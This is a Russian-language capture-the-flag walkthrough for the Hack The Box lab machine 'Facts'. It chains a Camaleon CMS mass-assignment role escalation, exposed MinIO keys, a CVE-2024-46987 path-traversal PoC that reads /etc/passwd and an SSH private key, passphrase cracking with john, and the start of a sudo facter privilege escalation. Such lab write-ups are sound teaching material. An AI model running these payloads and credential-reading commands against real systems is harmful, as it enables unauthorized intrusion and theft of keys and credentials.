
HTB Facts - это простая Linux-машина с Camaleon CMS и MinIO. Получите доступ администратора через открытую регистрацию и уязвимость массового присваивания, затем извлеките учетные данные MinIO из настроек администратора. Используйте обход пути CVE-2024-46987, чтобы украсть закрытый ключ SSH, взломать его парольную фразу и повысить привилегии до root, злоупотребляя правами sudo на facter через GTFOBins.
ОС: Linux
Теги: Web, MinIO, Camaleon CMS, Path Traversal, Privilege Escalation
Начните с полного сканирования TCP-портов для выявления открытых сервисов.
nmap -p- --min-rate 5000 -T4 10.129.244.96
Результаты:
| Порт | Сервис | Примечания |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | Неизвестно | Определён как MinIO |
Добавьте цель в /etc/hosts:
echo "10.129.244.96 facts.htb" >> /etc/hosts
При переходе на http://facts.htb открывается сайт с викторинами, построенный на Camaleon CMS (Ruby on Rails). Ключевые индикаторы:
_factsapp_session (сессия Rails)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)Перечислите карту сайта для всех доступных страниц:
curl -s http://facts.htb/sitemap.xml
Обнаруженные примечательные пути:
/admin → перенаправляет на /admin/login/rss/animal-ejected, /anne-frank и т. д.Проверьте наличие панели входа администратора:
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login
Проверка неизвестного порта с помощью curl выявляет MinIO — сервис объектного хранилища, совместимый с S3:
curl -v http://facts.htb:54321
Ответ:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
Заголовки подтверждают: Server: MinIO
Проверьте потенциальные имена бакетов (ответ 403 сам по себе не подтверждает существование бакета):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
Все возвращают 403 Forbidden — бакеты существуют, но требуют учётных данных.
По путям к ресурсам и сессионному cookie CMS определяется как Camaleon CMS.
Проверьте известные уязвимости:
searchsploit camaleon
Результаты:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
Версия панели администратора подтверждена как 2.9.0 (видна в футере после входа).
Страница входа администратора по адресу http://facts.htb/admin/login содержит ссылку "Create an account". Зарегистрируйте новую учётную запись:
http://facts.htb/admin/users/sign_uptest123 / test123)ClientПосле регистрации войдите в панель администратора. Учётная запись имеет ограниченные привилегии Client.
Camaleon CMS уязвим к атаке массового присваивания (mass assignment) на эндпоинте смены пароля. Перехватив запрос на смену пароля и внедрив параметр password[role], злоумышленник может повысить свою роль до admin.
Шаги с использованием Burp Suite:
Client.Profile → Edit → Change Password.&password[role]=admin в тело запроса:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK.Теперь учётная запись имеет привилегии admin, предоставляющие полный доступ к панели администратора CMS, включая Settings, Media и Filesystem Settings.
Имея доступ администратора, перейдите в:
Settings → General Site → Filesystem Settings
Страница раскрывает жёстко закодированные учётные данные MinIO (совместимого с AWS S3):
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
Настройте AWS CLI и перечислите бакеты:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
Обнаруженные бакеты:
2025-09-11 internal
2025-09-11 randomfacts
Бакет internal содержит домашний каталог пользователя trivia:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
В качестве альтернативы приватный SSH-ключ можно получить через CVE-2024-46987 — аутентифицированную уязвимость обхода пути в Camaleon CMS, позволяющую читать произвольные файлы сервера.
Клонируйте публичный PoC:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
Чтение конфиденциальных файлов:
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
Вывод (значимые строки):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Обнаружены два пользователя: trivia и william. Поскольку у trivia есть login shell и домашний каталог, проверьте наличие приватного SSH-ключа:
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
Сохраните вывод ключа в файл:
chmod 600 id_ed25519
Приватный SSH-ключ зашифрован парольной фразой. Используйте ssh2john и john для её взлома:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Взломанная парольная фраза: dragonballz
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz
Получите пользовательский флаг:
cat /home/william/user.txt
Проверьте права sudo для пользователя trivia:
sudo -l
Вывод:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
Пользователь может запускать /usr/bin/facter от имени root без пароля. facter — это инструмент системной информации на основе Ruby.
Согласно GTFOBins, facter может загружать пользовательские файлы фактов Ruby через --custom-dir, которые выполняются от имени вызывающего пользователя (в данном случае root).
Эксплойт: